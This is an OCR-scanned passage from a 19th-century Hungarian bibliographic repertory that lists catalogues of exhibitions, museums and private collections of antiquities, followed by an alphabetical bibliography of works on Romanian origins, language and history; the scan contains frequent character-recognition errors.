145. Zsil. A Zsil összefolyásánál (?) talált Mars-mellkép bronzból. — L. Ar-
chaeologiai Értesítő (Budapest) XIII. k. (1879) 79. 1.
Zsobok. — L. /. rész, 312. sz.
Zsoszán. — L. /. rész, 245, 757, 758, 75!!. 800. sz.
IV. RÉSZ.
VILÁGTÁRLATOKRA, MUZEUMOKRA, KÖZ- ÉS MAGÁNGYŰJTEMÉNYEKRE
S RÉGISÉGTÁRLATOKRA VONATKOZÓ KÖZLEMÉNYEK, KATALÓGUSOK.
1—30. szám.
PAKS IV
NOTITIAE BEBUM AD ANTIQUITATEM 8PECTANTIDM DNDIQUE CONGESTABUM Ki
PÜBLICE EXP06ITABUM, MUSEOBUM, COLLECTIONUM PUBLICABUM KX PRIVÁTAK! \\I
NEC NON UÍTIQUITATUM SINGULIS OCCASIONIBUS PUBLICE EXPOSITABUM, CATALOGI,
CET.
.\ '/////. 1—30.
!J
a) Párizsi világtárlat 1867-ben.
1. Les objets de l'histoire du travail hongrois á l'exposition universelle de
1867, ;\ Paris. — L. E.qiosition iinicersrlle <lr l*(j7 a Paris. < 'atalnijin
spéciál du royaume de Hongrie publié par la Commission royale. Paris,
1867. 8r. — XXXVI. 1., 191, 197—205. sz.; XXXVI -XXXVII. 1.,
206—207. sz.; XXXVII. 1., 212—213, 211, 216. sz. ; XXXVII—
XXXVIII. 1., 217—219. sz. — És: Flórian Rómer, Catalogue des
objets hongrois de l'histoire du travail á l'exposition universelle de 7S';,*.
Paris. 1867. 8r.
2. I867diki világtárlat. Paris, 1868. 8r. — I. k., 342—343, 526. 1.
b) Bécsi világtárlat 1873-ban.
3. Welt-Ausstellung I s 7 : í in "Wien. Olncieller Kunst-Catalog (Gruppé
XXIII— XXV.) Dritte Auflage. Wien, 1873. 8r. — U- 15. 1. (Wand-
kasten I., 1 . Abtheilung, 4—0, 9—10, 12—36, 79. sz.): 59. 1.. I VI. sz.
— És : Km. Henszelrnann (így), Einige Gegenstande der ungariscben
Amateur-Ausstellung auf der Wr. Weltausstellung. — L. Mittheilun-
yen der k. k. Central- Commission zur Erforschung und Erhaltung der
Baudenkmale (Wien) XIX. k. (1874) 233—234, 2:55. 1.
— L. még : /. rész, 434. sz. ; és 11. rész, 30. sz.
4. Henszlmann Imre. A bécsi 1873. évi világ-tárlatnak magyarországi ked-
velőinek régészeti osztálya. — Íj. Magyarországi régészeti emlékek (Mo-
numenta Hungáriáé archaeologica) EL k., 2. r. (Budapest, 1 >• 7 "' o . ír.)
|:;. i«i. 58, 58—59, 171.1.
c) Erdélyi múzeum Kolozsvárt.
5. Szabó Károly. Jelentései a régiség- és éremtárról : 1860-ról 1. Kolozsvári
Közlöny 1860. évf.. I 17. sz.. 192. 1. : 1861-ről, u. o., 1861. évf., I92.sz.,
134 IV. 6— 8.
771. 1. és Korunk (Kolozsvár) 1861. évf., 246. sz. ; 1862-rŐl 1. Kolozs-
vári Közlöny 1862. évf., 171. sz., 688. 1. és Korunk (Kolozsvár) 1862.
évf., 167. sz. ; 1863-ról nem tétetett jelentés.
6. Finály Henrik. Jelentései a régiség- és éremtárról: 1864-ről 1. Kolozsvári
Közlöny 1864. évf., 30. sz., 126. 1. és Korunk (Kolozsvár) 1864. évf.,
29 és 30. sz. : 1865-ről az idézett lapokban nem közöltetett jelentés ;
1866-ról 1. .1: erdélyi múzeum-egylet évi tudósítása 1866—1867 (Kolozs-
vár, 1868. 8r.) 33—39. 1.; 1867-ről 1. //. o., 71—74, 1.; 1868-ról 1. .1:
erdélyi múzeum-egylet évi tudósítása 2868 (Kolozsvár, 1869. 8r.) 21 —
24. 1. : l869-ről\. Az erdélyi múzeum-egylet évi tudósítása I>S(iV (Kolozs-
vár. 1870. 8r.) 22— 29. 1. ; 1870-röl 1. Kolozsvári Közlön;/ 1870. évf.,
56. sz., 238. 1. és 57. sz., 242. 1. ; 1871-ről 1. Kolozsvári Közlöny 1871.
évf., esti kiadás a 26. számhoz és Kelet (Kolozsvár) 1871. évf., 53. sz.,
211.1.; 1872-ről 1. Kolozsvári Közlöny 1X72. évf., 201. sz. ; 1873-ról 1.
Erdélyi Múzeum (Kolozsvár) I. k. (1874) 69—70. 1. ; 1874-rőll. ><, <>.,
II. k. (1875) 61—64. 1. ; 1875-ről 1. u. o., III, k. (1876) 103—105. 1. ;
1876-ról '. 1. Az erdélyi múzeum-egylet évkönyvei (Kolozsvár) ú. f. II. k.
(1877) ss— 91. 1. ; 1877-rőll. Erdélyi Múzeum (Kolozsvár) V. k. (1878)
71—73. 1. ; 1878ról 1. u. o., VI. k. (1879) 116—117. 1.
— L. még: /. rész, 203, 392, 109—410, 587, 7S7. sz. — 11. írsz : 39. sz.
d) Báró Bruchenthal-féle múzeum Nagyszebenben.
— L. /. rész, 539. sz.
e) Magyar nemzeti múzeum Budapesten.
7. Cimeliotheca musei nationalis Hungarici, sive catalogus historico-eriticus
antiquitatum, raritatum, et pretiosorum cum bibliotlieca antiquaria,
et numaria eiusdem instituti. Budae, 1825. 4r — 108, I í ; 112,
34 : 1 14—115, 45 ; I 15, 48 : 1 16, 51; 117, 56 ; 1 19, 78 (?) ; 120—121,
^7: L21, 88 (?); 123, 102 (?) ; 124, 106—107; 125, 112—113 és
114(?); 1-26, 115 (?) és 118; 130, 1 ; 136, 3; 137, 10; 143, 17 és
19; 146, 10—11 ; 149, 16 (?); 150, IS és 20; 150—151, 22 27;
154,86 s7; 157, 137—147; 158, 148—154; 161— 162, 6 és 8 -10;
169, 77 80; 170, 84.
H. Képes kalauz a magyar nemzeti múzeum érem- és régiségtárában. Pest,
IV. 9-13. 135
1870. 8r. 12. L 8. ábra ; 24. 1., 17 1*. ;i.: v.\. 1. ; H. 1. : :>:;. 1. ; és
u, (i, mű második kiadása, Budapest, I s7:j. 8r.— 15, 21, 2::. 28 29. 1.
— L. még: /. rész, 154, 268, 570, 578, 642, 643. sz.
/"/ Békésmegyei múzeum Bélcés- Gyulán.
'■■. /</. Mogyovóssy J(í)ins. Jelentése a békésmegyei régiség-tárlati igazgató-
nak az 187%-ik évben begyült nevezetesebb tárgyakról. - L.
. f békésvármegyei régészeti és mívelodéstörténelmi társulat évkönyve
(B.-Gyula) II. k. (1876) 145—146, 4—7.— Az 18777-ik évi gyara-
podásról 1. a. O..III. k. (1878) 163, I ; Kii, 2— 4.G— 7. 9—10. 13. 15.
18 : 165, 22 ; Ki(i, 26. — A tárlat 1 87Vs-ik évi szaporodásáról 1. /'. "..
IV. k. (1878) 202, 1—2 ; 203, 4—5. 7—9.
10. — Leltározott régi érmek és pénzek (a békésmegyei múzeumban!. —
L. A békésváiinegyei régészeti és mívelodéstörténelmi társulat evkönyve
(B.-Gyula) II. k. (1876) 100, 21 — 22. 2í. 2(1— 27; 151, 31— 32. 34
—35. 37—39. 41 — 44; 152, 48. 51—52. 56—58. 60; 153, 66
68. 70—71. 73— 7!i ; 151, 81 -82. 84 : 167. 1.
— L. még: /. rész, 2(13— 2G4, 608. sz.
(/) Felsőmagy arországi múzeum Kassán.
11. Kimutatás azon ajándéktárgyakról, melyek a « Felsomagyarországi
múzeum »-nak 1876. évi június lió 2-ától maiglan (1878) tulajdonául
és megőrzés végett adattak. — L. .1 Felső-magyarországi Múzeum-
egylet évkönyvei (Kassa) III. k. (1879) 115, 16 (?) ; 117, 53. sz. elsu
tétel, és 4. sz. ; 122, 33— 34 ; 127, 10.
h) Cs. és A-, érem- és régiségtár Bécsben.
12. Arneth (Joseph — ). Das k. k. Münz- und Antiken-Kabinet. Wien, 1845.
8r. — 44. e): 59; 60; 67, 95. 98 ; 70, 58; 71, 39. I— 2. sz. ; 72, 3.
9—19. 21—22. 25. 28—32; 73. 199 200; 74, 227—231. 233.
234—271.
13. — Bescbreibung der zum k. k. Münz- und Antiken-Kabinette gehörigen
römischen Meilensteine etc. etc. etc. Wien. 1845. 8r. — 8- 9, 10.
ív. ö. 17. 1.)
136 IV. 14-18.
14. — Die antiken Cameen des k. k. Münz- und Antiken-Cabinettes in
Wien. Wien, 1849. ívr.— 16. 1. ; 44. L, 6. sz. és XXIII. tábla, 6. ábra.
15. — Die antiken Gold- und Siber-Monumente des k. k. Münz- und Anti-
ken-Cabinettes in Wien. Wien, 1850. ívr. —7 ; 8— 9 ; 13—14; 19,
1 és G. I. tábla 1 . ábra ; 20, 7 és Zusátze a 20. laphoz, s G. 1. 1. 7. á. ;
20, 8; 20, 9 és G. III. t. ; 20, 10. 17 és G. YIII. t. 10. 17. á. ; 20,
11—16 és G. VIII. t. II. Ki. á.; 21, 12—13 és G. II. t. ; 21, 14; 21 —
22, 15 és G. II. t. ; 22, 18 és G. IV. t.; 22, 19 és G. V. t. 19. 21. á. ;
23, 21 és G. V. t. 19. 21. á. ; 23, 22 és G. XIV. t. ; 23, 24—25 ; 23,
26 és G. S. XII. t. 20. Á. ; 23, 27 ; 23—24, 28 és G. VI., S G. V. t. ;
24, 29 és G. V. t. ; 24, 30 és G. VIII. t. ; 25, 31 és G. III. t, ; 35, 199
és G. VIII. t.; 36, 227-230; 30—3,9, 231 ; 39, 233 és G. X. t. ; 39,
234— 237 ; 39—40, 238 és G. XI. t. ; 40, 266 a) ; 43—54 és Zusátze
az 50. laphoz s XIV— XVII. t, ; 78, 76—77 (?) ; 79, 95 és G. 8. XII. t.
I. á. : 79, 98; 83—87 és két tábla, Beilage V— VI. (ez utóbbi a
következő czímek alatt: «Antiquités en or, trouvées en Valachie
l'année 1838.», és: «Der antiké Goldschatz im Bukarester National-
Museum»)
Ki. — Beschreibung der zum k. k. Münz- und Antiken-Cabinette gehörigen
Siatuen, Büsten, Beliefs, Inschriften, Mosaiken. Vierte vermehrte
Auflage. Wien, 1850. 8r. — 4 ; 13, 48. 50; 36, 215; 42, 232.— És :
Siebente vermehrte Auflage. Wien, 1859. 8r. — 14,48; 15. 50; 44,
215; 53— 54, 232.
I 7. Sacken ( J>r. Eduárd Freih. von — ) undKenner f lh\ Friedrich — ). Die
Sammlungen des k. k. Münz- und Antiken-Cabinetes. Wien, 1866.
Sr. — 14 ; is : 29, is ; 29—30, 50 ; 44, 175* ; 57, 1 ) ; 58, 9) ; 83 84,
215 ; 93, 232 ; 104, «.) ; I 15— 117, 2; 127, 11; I ío (Kasten I. 10.):
217 ; 201 ; 263, 8; 274, 215 ; 275, D. 240. 243, 216; 277, 374».»> ;
289,711; 291. 845"; 294, 1106; 313, 1405. 1410; 314, 1554; 316,
L625. 1646— 1657" . 1077. 1678. 1715—1738; 317, 1742—1783;
334, 30. 34. 31. 35; 337, C. 69— 71. 75. 79; 338, 85. 86. 87.
SS. 99—101 ; 339— 340, 180—203 ; 310—342, A. 1. 2 és 5. 3. I. 6
és 14. 7 és 13. 8 és 12. 10. 15; 343, B. 21. 22. 24. 23 (?). 25 ; 343—
344,26. 27. 32. 28.30. 29.31; 344—345,33.37. 38. 12. 13:340,
51. 52. 53. 57. 58. 73*-g. 91 a-f ; 347, 81. 82 ; 348, 93. 91, 108. 121,
125: 349, I 15. 133. I I I. I 12. 131. 134; 353, 82 : 150, 5s ; 159, 59.
is. Sacken ( Dr. Eduárd Freih. von — ). Die antiken Bronzén des k. k.
IV. 19—24. 137
Münz- und Antiken -Cabinetes in Wien. Wien, 1871. ívr. L rész,
96 97. Lés XI.VIII. fcábla, I, I"1 ábra.(a ű. r. még nem jeleni i
19; — Die antiken Sculpturen des k. k. Münz- and Antiken-Cabinetes in
Wien. Wien, 1873. ívr. í-Y ].
20. Verzeichniss der antiken Sculpturwerke, Inschriften and Mosaiken des
k. k. Münz- und Antiken-Cabinetes. (lm unteren k. k. Belvedere.)
Achte Auflage. Wien, 1873. 8r. — 5, 48.50; 7, I01a) ; 12, I75*>;
16, 215.
— L. még: LrHz, 277, 164, 165, 167. az.
i) Cseh országos múzeum Prágában.
21. Die arcbaeologischen Sammlungen im Museum des Königreicbs Böhmen
zu Prag. Abtheilungen II— VIII. Prag, 1862. 8r. 51. 1. 'VIII.
Bömische Alterthümer).
kJ British Museum Londonban.
— L. /. rész, 27G. sz.
I) Dán ethnographiai múzeum Kopenhágában.
Űű. Schmidt i Valdemar ■ — ). Notice sur les musées arcbéologiques et ethno-
graphiques de Copenhague. Copenhague, 1 875. 8r. — 1 5. 1.
mj ,7 régészeti egyesület gyűjteménye Zürichben.
■ — L. 1. rész, 270. sz.
ni Magán gyűjtemények.
L2'->. Henszlmann ( K. — ). Catalogue of the collection of the monuments
of art förmed by the laté Gábriel Fejérváry, of Hungary : exhibited
at the apartments of the Archaeological Institute of Great Britain
and Ireland. London, is.'):!. ír. — :i7, 638.
24. Catalogue des antiquités grecques, romaines, du moyen age et de la
renaissance cumposant la collection de Mm. de Fegervary így
de Pulsky (így) dönt la vente aura lieu hotel Drouot, Balle N° I les
hindi 18, mardi 19, mercredi 20, vendredi 22 et samedi 23 mai 1868
138 IV. 25-30.
stb. Paris, 1868. 8r. — 7, 92 : 16, 270. — És : Pulszky Ferencz mű-
gyfíjteményének jegyzéke. Pest, 1868. 8r. 10. 1., III. szekrény:
13. 1., VIII. szekrény. (Erdélyben lelt római érczszobor töredéke
sarus láb és Dianának Mebádián talált bronz szobrocskája).
Kéméndi Váradi Ádám gyűjteménye. — L. 1. rész, 811. sz.
25. Monete si medalie antice si alté anticitati (Perez P. /'. gyűjteményéből
Bukarestben). — L. < iparin, . Irchivu pentru filológia si istoria (Blasiu)
1868. évf., XIII. sz., 263—264.1. (a «Trompet'a Carpatilorn » 1868.
évfolyamának egyik meg nem jelölt száma után).
- Evans gyűjteménye Nash Millsben, London mellett. — L. / rész, 27<>. sz.
o) Katalogusoh.
2(i. Kataing der Industrie-, Kunst- & archáologischen Ausstellung, die bei
( relegenheit der Versammlung der ungarischen Aerzte und Natur-
forscher in Pressburg veranstaltet wurde. Eröffnung am 27. Augusi
1865. Pressburg, 1865. 8r. — 52, 63; 53, 64; 61, 226 és 231 ; 62,
235 ; 63, 320. 325—326. 348 ; 64, 395. 405—407.
27. Henszlmann Imre és Bubics Zsigmond. A magyarországi árvízkárosultak
javára Budapesten gf. Károlyi Alajos palotájában ls7(i. évi májusban
rendezett műipari és történelmi emlék-kiállítás tárgyainak lajstroma.
Sajtó alá rendezte Szalu;/ Imre. Budapest, 1876. 8r. — 14, 114. sz.
(szilágy-Somlyói arany láncz).
28. Hampel (Joseph — ). Antiquités préhistoriques de la Hongrie. I. livrai-
son. Esztergom, 1876. 8r., VII. tábla, 13. sz. — II. livraison. Esz-
tergom, 1S77. 8r., előszó s XV. t., 1—7. 22. sz. ; XVI. t., 22. sz.
2!>. — Catalogue de l'exposition préhistorique des musées de province et des
collections particuliéres de la Hongrie arrangée a l'occasion <!<• la
YUjéme session du congrés international d'arcbéologie et d'anthro-
pologie préhistoriques a Budapest. Budapest, 1876. 8r. -- 51,97,
105, 110—115, 131, 133, 143, 152—153.1.
30. Catalog der bei Gelegenheit der XLVIII. Versammlung der deutschen
Arzte und Naturí'orscher in Graz aus Ungarn ausgestellten práhis-
torischen Gegenstánde, Graz, 1875. 8r. — 4, 35 ; 5 — G, 69 — 70 (?) ;
6, 93 ; 7, 100 (?) ; 8, 150; 10, f) 204— 216 ; 11, 227 ;12, 252 253;
13,279. 290—293; 14, 305; 15,356; 16, 1.7; is, II. 52.51 65;
21, 42. 44. 49 ; 22. 50.
V. RÉSZ.
A ROMÁNOK (OLÁHOK) EREDETÉT, NYELVÉT ÉS TÖRTÉNETÉT TÁR-
GYALÓ, A SZERZŐK NEVE ALATT VAGY NÉVTELENÜL MEGJELENI
MÜVEK.
1—10 ü. szám.
PAES V.
OPERA ORIGINEM, LINGUAM, HISTÓRIÁM RUMUNOROI (VALACHORIM) TRACTANTIA
SEU AUCTOROI NOMINIBUS INSIGXITA SEU ANONYMA.
Nwm. 1-106.
] . Aaron Teodoru — . Anotári din istori'a eclesiastica, despre urdin
latírea credintiei crestine intre romani. Pesta, 1850. 8r. — ■ 5 26. 1.
ll. Animadversiones in recensionem históriáé : De origine Yalachorum in
Dacia. E Valachico in Latinuin conversae. Budae, M í. 8r. (L. /. rész,
Engel 175. bz.)
3. (Antonelli. ./. — ?). Tractatu istorion asupra originei, conturaitatei bí
petreeerei Eomaniloru in Daci'a lui Traiann pana la anulu 1300.-
L. Program'a gimnasiuhri superiore, preparandiei , norniei si scolei
jiopulare defetitie de in Blasiu pre anulu scolasticu 18i ? s. Blasiu, 1878.
S,.— 1—48.1.
B.
í. Baronzi George — /. Liniba Eománá si traditiunile eí. — L. Baronzi,
Opere complecte. Galatt-Braila, 1872. 8r. — I. k., 5 — 11. 72 — 81, S9
90,207. 1.
5. Bidermann \ //. J. — ). Die Eoinanen und ihre Verbreitung in Oster-
reich. Graz. 1877. 8r., elszórva, főleg: 93—97, 140—143, 184
ls~>. (64) 1. — Korábban megjeleni u. a. ezim alatt mint iFestschrift
der k. k. Univers. Graz au8 Anlass der Jahresfeuer am 15. Nov. 1876.
Graz. ls77.o (Ismertette: J. Jung, Jenaer ZAteraturzeitung 1878. évf..
16. bz. ; és Gross, Göttíngisch gelehrtt Anzeigen 1878. évf.. XXXIX. 1<.>
6. Bozsinka ( Damascenw Th. — /. Animadversio in dissertationem Hallen-
sem sub titulo : Erweisz, dasz die Walachen nicht römischer Abkunft
sind etc. vom k. Eath von 1n23 editam. Cui adnectitur fidedignis
scriptoribus fúlta probatio, Valachos esse veros posteroa Romanorum.
Pestini, évn. (1828?) 8r. - Ugyanannak román (oláh) fordítás
szerzőtói, Boginca Vamaschinn Th. -tói, következő czím alatt : Respun-
dere descurcatoria la cartírea din Halle in a. 1823. sub títul'a:
Erweis dasz die Walachen nicht römischer Abkunft sind de ( .
1 12 V., Budenz— Cipariu, 7—14.
consílieriu .... facuta. Antaíu latinesce, ér'acum dacoromanesce
totu de acel'a-si auctoru. Bud'a, 1828. 8r. (L. Erweis 2i. sz., s
v. ö. Murgu 66. sz.)
Budenz. — L. Miklosich 63. sz.
c.
7. Cihac (A. de — ). Dictionnaire d'étymologie daco-romane, éléments
latins. Francfort s/M., 187Ü. 8r. ; és a II. k. //. a. czim alatt, u. o.,
1879. 8r., éléments slaves, magyars, turcs, grecs-moderne et albanais.
8. Cipariu f Timotheus — ). De latinitate linguae valachicae. — L. Annales
Gymnasii gr. catholici maioris Blasiensis pro anno scholastíco 1855.
Blasii, 1855. 4r. — 3 — 7. 1.; és: De latinitatea limbei romane, 1.
Cipariu, Archivu pentru filológia si istoria (Blasiu) 1S69. évf., XXI.
sz., 404—413. 1. ; XXII. sz., 427—433. 1. ; XXIII. sz., 444—448.1. ;
XXIV. sz., 467—474. 1.
9. — Acte si fragmente latiné romanesci pentru istori'a beserecei romane
mai alesu unité. Blasiu, 1855. 8r., főleg: IX. és 1 — 4. 1.
10. — De nomine valachorum gentili. — L. Annales Gymnasii gr, catholici
maioris Blasiensis pro anno scholastico 1857. Blasii, 1857. 4r. — 3 — 9. 1.
11. — Dere literaria Valachorum. - - L. Annales Gymnasii gr. cathnlici
maioris Blasiensis pro anno scholastico 1858. Blasii, 1858. ár. —
3—27. 1.
12. — Inceputulu crestinarei Komaniloru in partile orientali ale imperiu-
lui Rom. si anume pre marginile Dunarei in Daci'a si Moesi'a dupa
date autentice. (Dein Scliematismulu archi-diecesanu). Blasiu, 1865.
Sr., főleg: III— XI, XX— XXV, XXVIII— XXIX, XXIX— XXXI. 1.
(A megjelölt Schematismusnak azonban csak néhány példányában
van meg Cipariunak e műve, sőt ez idézett lenyomat is ritka).
13. — Principia de limba si de scriptura (2-ik bővített kiadás). Blasiu,
1866. Sr., főleg: 21— 23, 83—90,269—275. 1. (Először megjelent:
Cipariu, Organulu luminarei, gazeta beserecésca, politica, <■ literaria
[Blasiu] 1847. évf., 4— 8, 10—13, 15—19, 21—22, 25—26. sz. -
1848. évf., 56—60, 62—63. sz.)
14. — Eleinente-le straine in limb'a romána. — L. Cipariu, Archivu
pentru filológia si istoria (Blasiu) 1867. évi'., VII. sz., 121 — 125. 1.;
VIII. sz., 145— 152. 1.
V., Cipariu Erweis, 15—25. 1 V.)
r>. Cuventn despre istori'a limbei romanesci. L. Cipariu, Archicu
pentru filológia si istoria (Blasiu) ls''>7. évf., IX. sz., I'il 165. 1.
16. — Limba latina. L. Cipariu, Archivu pentru filológia si istoria (Blasiu)
1868. évf., XV. sz., 289 290. L
17.- — Sianesci. L. Cipariu, Archivu pentru filológia si istoria Blasiu)
1868. évf., XVI. sz.. 308 311.1.
18. — Privire pesté istori'a provinciei basericesci gr. cat. a Ali) a Juliéi. —
L. Siematismidu veneratului cleru alu archidiecesei metropolitane greco-
catolice a Alb' a- Juliéi si Fagarasiului pre anulu 1871, Blasiu 1871)
Sr. — III — XII. 1. ; és lenyomata u. a. czím alatt, u. u., u. a. s/-.
lí'. — Despre limb'a Romána. Suplementu la Sintactica. Blasiu, 1877. 8r.
D.
20. Diez ' Friedrich - . Grammatik der romanischen Spraclien. Zweite
neu vcrlaszte Ausgabe. Bonn. 1856. 8r. — I. r.. 89 '.'Í-. 1.
21. Discussio descriptionis Valachorum transylvanorum editae Patrioticis
Paginis (Vaterliindisclie Blátter) Nris. 83. 84. 85. Viennae 1811.
auctore •/. G. — Pesthini, 1812. 8r. — L : G. i.f. — , 29. sz.)
22. Dregic (Meletíe — ). Se ne desemegjim. Timisiora, 1856. 8r., elszórva.
— — L. még: Maniu 60. sz.
E.
23. Edelspacher ( Antal). Pannim elemek a magyar nyelvben. — L. Nyele-
tudományi Közlemények (Budapest) XII. k. ( 1876) S7 — 1 16. 1.
24. Eder (Josephus Carolus — l Supplex libellus Valachorum Transsilva-
niae inra tribus receptis nationibus communia postliminio sibi adseri
postulantium. Cumnotis historico-eritieis J. C. E. Claudiopoli, I7ÍU.
ír., főleg: 7 — 1:2. 1. (X. ö. Hunfalvy í-2. sz. és 17. rész, Bolla 7. sz.
— Engel. — L. /. rész, 175. sz.
■2?>. Erweis, dasz die Valachen nicht römiseher Abkunft sind, und diesz
nicht aus ibrer itatienisch-slavischen Sprache folgt. K. Bath von
Halle. 1823. 8r.; német és román (oláh) hasábos kiadásai u. <i. csnm
alatt, «mit mehreren Grundén vermehrt, und in die walacbische
Sprache übersezt durch S. /'. Ofon. 1827. 8r. (V. ö. Bozsinka 6. sz.
és Murgu 66. sz.)
Itt V., Felmer— Hasdeu, 26—32.
F.
26. Felmer 'Martin — ). Martin Fellmer's Kurzgefaszte historische Nach-
richt von. der Wallachischen Völkerschaft überhaupt, und derjenigen
insonderbeit, die heut zu Tagé in dem Kayserl. Königl. Erb-Fürsten-
thum Siebenbürgen anzutreffen ist. — L. Archív des Vereines für
siebenbürgische Landeskunde (Kronstadt) N. F. VII. k. (1867) 414
128. 1. (L. VI. rész, 17. bz.)
27. Ficker (Adolf — ). Die Ethnographie Oesterreichs im Liehte der Ge-
scbicb-tschreibung. — L. Beilage zur Wiener Abendpost 1876. évi'.,
1 28. bz., 509. 1.
— L. még : Jung 43. sz.
28. Filstich i Juhannes — ). Schediasma históriáim de Valachorum história
annalium Transilvanensium multis in punctis magistra et ministra.
Jenae, 174-3. ir.
G.
29. G. (J. — ? ). Beytráge zur siebenbürgischen Ethnographie (2. Wala-
chen). — L. Vaterlándische Bldtter für den östérreichischen Kais'ersiaat
(Wien) 1811. évf., 83. sz., 493—4-97. 1.; 84. sz., 501—502. 1. : 85. sz..
509 — 513. 1. (V. ö. Discussio 21. sz.)
30. Gooss (Carl — ). Die neueste Literatur über die Frage der Herkuni't
der Románén. (Jung müveinek bírálata). — L. Korrespondenzblatt des
Verevn.es für siebenbürgische Landeskunde (Hermannstadt) I. ( 1878) évf.,
2. sz., 17—22.1.; 3. sz., 28—39.1.
31. — Zur Rumánen-Frage. ( Hídi fair;/ Pál 39, 10 8 41. sz. müvének ismer-
tetése). — L. Korrespondenzblatt des Vereines für siebenbürgische Lan-
deskunde (Hermannstadt) II. (1879) évf., 3. sz., 20—31. 1.
H.
32. Hasdeu f II. Petriceicu — /. Principie de filológia comparativa ario-
europea cuprindend grupurile indo-perso-tracic, greco-italo-celtic si
leto-slavo-germanic cu aplicatiuni la istoria limbei romane. Bucu-
resci, 1875. 8r. I. k., 94. 1.
V., Hasdeu -Hunfalvy. 33-42. 145
33. — Istoria eritica a romaniloru. Pamentulu terrei-romanesci. Bucu
1875. lr. (Ismertetve és bírálva : Zamcke, Literarisches Centralblati
för Deutschland [Leipzig] 1875. évf., 12. sz., 380 :is± 1. ; Him/alvy
Pál, \. Századok, a magyar történelmi társulat közlönye Buds
XII. k. 1878 7^ 93.1. első közlemény] ; 183— 197. 1. [második
közlemény]).
34. Hintz (Johann — /. Geschichte des Bisthums der griechisch-nichtunir-
ten Glaubensgenossen in Siebenbürgen. Hermannstadt, 1850. *r. —
1—3.1.
35. Hopf (C. — ). Geschichte Griechenlands vom Beginu des Mittelalters
bis auf iinsere Zeit iGriechische Greschichte). — L. Ersch-Gru
AUgenieine Encyklopadie der Wissenschaften und Kümte (Leipzig) I.
Seet. LXXXV. k. 1 1867) 164—165. 1.
3<i. Hunfal vy ( Pál ,. A ruinun nyelvről és népről. — L. Nyelvtudományi
Közlemények (Pest) VI. k. (1867) 125— 148. 1. (Rövidlete: Amagy.
tud. Akadémia Értesitőj, Pesl 1. 1867. évf., 200— 202. 1. és Csen-
gery, Budapesti Szemle Test ú. f. IX. k. [1867] 103 -106. 1.) Roesler
/. rész, 631. sz. müvének ismertetése.
37. — Az oláh fejedelemség kezdete. (Die Anfánge des walachischen Für-
stenthums. Von Róbert Roesler). — L. Nyelvtudományi Köziemi
(Pest) VI. k. 1 1867) 221 -237. 1. (L. Roesler 76. sz.i
38. — Ungarn und Rumánen. — L. Hunfalvy, Literarische Berichtt aus
Ungarn (Budapest) I. k. < 1*77 1 224 -236. 1.
3'.*. — A rumun nyelv. — L. Nyelvtudományi közlemények (Budapesti XIV.
k. (1878) 265 — 308.1. Lenyomata u. a. czim alatt, u. o., u. a. s<-.
(Ismertette: Finály, Erdélyi Múzeum [Kolozsvár] V. k. 1878 241 —
2 í-3. 1. és Gooss 3 1 . sz. i
4-0. — A rumun történet-írás. 1. Sinkai György Gergely (így) krónikája.
L. Századok, a magyar történelmi társulat közlönye (Budapest
XII. k. i 1878) 347 356. 1. (első közlemény! ; 146 156. 1. (második
közlemény); 656 -667. 1. harmadik közlemény). V. ö. Sincai 96. sz.
és Papiu 68. sz. (Ismertette : Gooss 31. sz.i
41. — Rumanische Geschichtschreibung und Sprachwissenschaft. — L.
Hunfalvy, Literarische Berichte aus Ungarn (Budapesti EL k. (1878)
337—388. 1. ív. ö. 628. 1.) [smertette : Gooss 31. sz.
42. — Bolla Márton és Éder Károly meg az oláh incolatus Erdélyben. —
L. Századuk, a magyar történelmi társulat közlönye (Budapesti XIII.
Repertórium. iq
146 V., Huníalvy— Kantemir, 43—46.
k. i 1879) 510 518. 1. (első közlemény) ; 541 563. 1. (második köz-
lemény) ; 668 688. 1. (harmadik közlemény) ; 717 — 761. 1. (negye-
dili közlemény). V. ö. Eder 24. sz. és 17. rész, Bolla 7. sz.
L. még: Hasdeu 33. sz. és Jung 14. sz.
43. Jung (Július — i. Die Anfánge der Eomaenen. Kritisch-ethnographische
Studie. — L. Zeitschrift für die österreichischen Gymnasien (Wien)
XXVII. k. (1876) 1—19, 81—111, 321—342. 1. Lenyomata »/. a.
rzím alatt, u. o., u. a. 8r. (Ismertette: .1. v. G.[utschm.id], 1. Zarncke,
Liter wisches < 'entralblatt für Deutschland [Leipzig] ls7(i. évf., 43. sz.,
1422 — 1424. 1. ; ./. J. Müller, 1. Bursian, Jahresbericht über die Fort-
schritte der classischen Alterthumsudssenschaft [Berlin] IV. évf. (1876)
7. k., 3. osztály, 294—295. 1. : A.[dolf] F. [teker] következő czím
alatt : Noch einmal der Ursprung der Ost-Rornanen nordwárts der
Donau, Beilage zur Allgemeinen Zeitung [Augsburg] 1876. évf.,
313. sz. [8. Novemberi 1761—4762. 1. ; Gooss 30. sz.)
41. — Roemer und Románén in den Donaulaendern. Historisch-etlinogra-
phische Studien. Innsbruck, 1877. 8r. (Ismertette: (i. II., 1. Sybel,
Hütorische Zeitschrift München] XL. k. [1878] 561 s köv. 1. ; Det-
ii, I. Bursian, Jahresbericht über die Fortschritte der classischen
Altér thumsivissenschaft [Berlin] IV. évf. (1876) 7. k., ü. osztály, 312 —
314.1.; Hunfalcy Pál, Századok, a magyar történelmi társulat köz-
lönye Budapest] XI. k. [1877 334 -346. 1. [első közlemény] ;425
138. 1. második közlemény] ; és ugyancsak Hunfatvy, 1. Hunfalvy,
Literarische Berichte aus Ungam [Budapest] I. k. [1877] 23í) — 244. 1. ;
Gooss 30. sz.)
K.
45. Kanitz f /•'. — ). Abschluss von F. Kanitz" Reisen in Bulgarien und dem
Balkan. — L. Petermann, Mittheilungen aus Justus Verthes geogra-
phischer Anstalt über wichtige neue Frforschungen auf dem Gesammt-
gebieti der Geographie (Gotha) 1873. évf., 69. 1.
46. Kantemir (Demeter Fürst ). Beschreibung der Moldau. - L. Ant.
briedr. Büsching , Magazin für die neue I listáéit1 und Geographie
V.. KLein-Leake, 147
Hamburg) HL k. (1769) ">í:i 564.1., s lenyomata u. a. czím alatt,
Frankfurt un<l Leipziy, /,",'/. Sr.
47. Elein (Sámuel • ih Szád). Elementa linguae daco-romanae, sive vala-
chicae. Locupletata et in hunc ordinem redacta a Oeorgio Gábrielé
Sinkai. Vindobonae, 1780. 8r., elú'szó. Lenyomata és román (oláh)
fordítása: Cipariu, Archivu pentru jihloyia sá istoria (Blasiu) 1867.
évf., XXIX. be., 564- 567. 1.
is. Kogalnitchan (Michel de - . Histoire de la Dacie, des Valaques
Transdannbiens et de la Valachie. Nouvelle édition. Berlin, 1854.
